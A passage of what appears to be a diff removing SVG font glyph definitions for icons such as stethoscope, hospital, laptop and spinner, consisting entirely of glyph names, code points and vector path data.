-d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
-q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
-    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
-d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
-t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
-t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
-t271.5 -112.5t112.5 -271.5z" />
-    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
-d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
-t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
-t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
-    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
-d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
-t66 -158z" />
-    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
-d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
-t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
-    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
-d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
-t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
-    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
-d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
-t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
-q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
-    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
-d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
-d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
-t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
-v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
-d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
-t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
-q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
-d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
-q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
-    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
-d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
-q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
-    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
-d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
-    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
-d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
-d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
-d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
-t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
-    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
-d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
-l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
-    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
-d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
-q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
-    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
-d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
-t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
-    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
-d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
-    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
-d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
-    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
-d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
-    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
-d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
-    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
-d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
-t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
-d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
-M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
-    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
-d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
-q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
-d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
-q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
-d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
-t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
-d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
-M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
-    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
-d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
-v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
-    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
-d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
-t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
-M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
-q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
-    <glyph glyph-name="circle" unicode="&#xf111;" 
-d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
-d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
-l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
-    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
-d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
-q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
-t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
-q0 -87 -27 -168q136 -160 136 -398z" />
-    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
-d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
-q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
-    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
-d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
